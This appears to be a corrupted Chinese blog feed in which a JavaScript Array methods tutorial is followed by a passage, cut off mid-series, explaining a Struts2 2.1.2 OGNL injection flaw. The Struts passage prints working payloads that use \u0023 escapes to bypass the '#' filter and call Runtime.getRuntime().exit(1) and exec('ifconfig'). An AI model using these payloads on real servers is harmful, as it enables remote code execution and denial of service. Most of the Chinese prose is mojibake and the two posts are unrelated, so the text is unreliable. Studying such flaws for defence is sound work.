锘??xml version="1.0" encoding="utf-8" standalone="yes"?> 鏁扮粍鍜宖unction 閮芥槸瀵硅薄錛岀幇鍦ㄧ啛鎮塉S鍩虹Array瀵硅薄錛屾湁鍏磋叮鐨勫悓瀛︿竴璧鋒潵澶嶄範涓嬪惂銆?/p>
array.pop : 鍒犻櫎鏁扮粍鍐呯殑鏈鍚庝竴涓璞?/p>
array.shift :鍒犻櫎鏁扮粍鍐呯殑絎竴涓璞?/p>
array.join: 鏁扮粍鍐呭厓绱犲紕鎴愬瓧絎︿覆鎻掑叆欏甸潰 array.reverse : 鏁扮粍鍐呭厓绱犲掔疆 array.concat : 鏁扮粍鍚堝茍錛屼絾鏄皝涓庤皝鍚堝茍錛岃娉ㄦ剰欏哄簭 array.toString : 鏁扮粍鐩存帴杞負瀛楃涓詫紝涓嶅啀鏄璞′簡 array.valueOf : 鏄劇ず鍘熷鐨勫鹼紝閲岄潰鏈変粈涔堜笢瑗?/p>
array.sort : 浠scii浠g爜鏉ユ帓鍒楀厛鍚庨『搴?浣嗘槸鏁板瓧涓嶈兘鐢╯ort鍘繪帓鍒椼傝鎺掑簭璇峰線涓嬬湅錛屾湁渚嬪瓙鍝︺?/p>
array.push : 鏁扮粍鏈娣誨姞鏂板璞★紝榪斿洖鏄劇ず鏄暟緇勯暱搴?/span> array.slice :鍒犻櫎鏁扮粍鍐呭璞?slice( start , end) array.splice : 鍒犻櫎娣誨姞瀵硅薄 array.unshift : 鍓嶉潰鎻掑叆瀵硅薄錛?span style="color: #0055ff">榪斿洖鏄劇ず鏄暟緇勯暱搴?/span> array.indexOf: 媯鏌ュ璞℃槸鍚﹀瓨鍦?/span> 涓嬮潰鏉ユ樉紺轟竴浜涗緥瀛愶紝璁╂垜浠兘澶熸洿鏄庣櫧鏄浣曠敤鐨勶紝璁$畻鏈哄張鏄浣曟搷浣滅殑銆?/span> var bb = ['qq','aa','ss','ee']; var ooo = ['Nov','August']; alert(bb.indexOf('qq'));// 榪斿洖0,鍥犱負qq鏄暟緇勫唴鐨勪竴涓璞★紝浣嶇疆鏄? alert(bb.pop());//榪斿洖ee alert(bb.shift());//榪斿洖qq alert(bb.join( and ));//榪斿洖qq and aa and ss and ee alert(bb.valueOf());//榪斿洖qq,aa,ss,ee alert(bb.sort());//榪斿洖aa,ee,qq,ss alert(bb.push("Lemon","Pineapple"));//榪斿洖6,鍥犱負鏁扮粍宸叉湁鍏釜瀵硅薄錛屽垎鍒槸錛歲q,aa,ss,ee,Lemon,Pineapple alert(bb.slice(0,2));//榪斿洖qq,aa alert(bb.splice(1,3,'lemon'));//榪斿洖aa,ss,ee,浠巃a璧峰垹闄わ紝闄ゅ幓闀垮害涓猴細涓変釜 alert(bb.unshift('sunny'));//榪斿洖5,鍥犱負鏁扮粍澧炲姞浜嗕竴涓璞★紝渚跨敱4鍙樻垚浜? alert(bb.concat(ooo));//榪斿洖qq,aa,ss,ee alert(bb.reverse());//榪斿洖ee,ss,aa,qq,Nov,August 鍏跺疄鍙澶氱粌緇冨氨鐭ラ亾榪欎簺鏄庝箞浣跨敤鐨勪簡錛屽緇冧範鏄伒媧諱嬌鐢ㄧ殑鍓嶆彁銆?/span> 鏁板瓧鎺掑簭錛屼嬌鐢╯ort()鏂規硶錛屼緥瀛愬涓嬶細 var foo = [1,12,15,54,56,89,123,78]; function num(a,b) { return a - b; } alert(foo.sort(num));// 榪斿洖1,12,15,54,56,78,89,123 鐜板湪灝辮瘯璇曞惂錛?/span>
]]>
(meh)=true&(aaa)
(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')
(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)
(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))
&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL澶勭悊鏃舵渶緇堢殑緇撴灉灝辨槸
java.lang.Runtime.getRuntime().exit(1);
----------------------------------------------------------------
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
OGNL澶勭悊鏃舵渶緇堢殑緇撴灉灝辨槸
java.lang.Runtime.getRuntime().exec("ifconfig")
浠ヤ笂涓簊truts2.1.2鐗堟湰媧椾竴涓嬬殑涓涓紡媧炪傞鍏堥摵鍨竴涓嬶紝涓婇潰浠g爜鎵ц緇撴灉涓哄仠鎺夊綋鍓嶈繍琛岀殑瀹瑰櫒錛実etRuntime().exit(1);閫鍑恒?br />
棣栧厛榪欎釜婕忔礊鍑虹幇鏄洜涓篛GNL 鐨勭敤娉曘?br />
綆鍗曠殑浠嬬粛涓涓媜gnl姒傚康鍘葷湅鐧劇鍚э紝璇翠竴涓嬬敤娉曪細
OGNL鐨勬柟娉曡皟鐢?
OGNL鏄湪榪愯鏃惰皟鐢ㄦ柟娉曠殑,榪欎嬌寰楀畠鏃犳硶鍋氬己鍒剁殑綾誨瀷媯鏌?OGNL浼氬幓媯绱竴涓拰瀹冩柟娉曠殑鍚勪釜鍙傛暟鏈鎺ヨ繎鐨勪竴涓柟娉曡繘琛屼嬌鐢?
濡傛灉鏈夊涓柟娉曟弧瓚寵繖涓潯浠?閭d箞OGNL灝嗕換鎰忚皟鐢ㄥ叾涓殑涓涓?(NULL鍜屾墍鏈夊師濮嬬被鍨嬪尮閰?鎵浠ユ渶鏈夊彲鑳借繑鍥炰竴涓嚭涔庢剰鏂欑殑璋冪敤).
OGNL涔熸敮鎸乶ew object()鐨勬柟娉?浜х敓涓涓柊鐨勫璞?浣嗘槸闄や簡鍦╦ava.lang鍖呴噷鐨勫璞″,蹇呴』鎸囨槑瀵硅薄鎵鍦ㄥ寘鐨勫叏鍚?
OGNL鏀寔鐩存帴璋冪敤綾葷殑闈欐佹柟娉?@class@method(args)
eg錛欯abs(-12.345);
@Java.lang.Math@floor(3.25);
@Java.lang.Math@Sqrt(4);
OGNL鎿嶄綔闆嗗悎
1鎿嶄綔鍒楄〃Lists
OGNL涓璓erson in {"chinese", "japanese", '"Amercian"}
2 鎿嶄綔鏄犲皠
OGNL涓?{"foo" : "foovalue", "bar" : "barvalue"}
OGNL鏈変竴涓畝鍖栧彉閲忔満鍒訛紙鍦ㄥ彉閲忓墠鍔犵鍙?錛夛紝鎵鏈塐GNL鍙橀噺鍦ㄦ暣涓〃杈懼紡閲屾槸鍏ㄥ眬鐨勩?br />
eg錛?var
#var = 99
listeners.size().( #this > 100 ? 2 * #this : 20 + #this ) 璋冪敤listeners鐨剆ize()騫朵笌100姣旇緝錛?br />
#this涓簊ize鐨勫鹼紝濡傛灉澶т簬100鍒欐槸榪斿洖涓ゅ嶇殑size鍊箋?br />
鍙互榪欐牱鍒涘緩涓涓狹ap錛?br />
#{“foo”: “foo value”, “bar”: “bar value” }
#@java.util.LinkedHashMap@{“foo”: “foo value”, “bar”: “bar value” }
OGNL 涓婁笅鏂囧彉閲?br />
#application
#session
#request
#parameters
#attr
浠ヤ笂鍚勫煎垎鍒搴斿簲鐢ㄧ▼搴忕殑涓嶅悓灞傛鐨勫鹼紝涓轟簡杈懼埌紼嬪簭涓嶈鎭舵剰淇敼鍦▁work鍖?com.opensymphony.xwork2.interceptor.PrepareInterceptor綾諱腑瀵?鍙瘋繘琛屼簡榪囨護銆?br />
浣嗘病鏈夎繃婊ava涓殑unicode鐮侊紝#鐨勬槸\u0023
(鏈畬寰呯畫銆傘?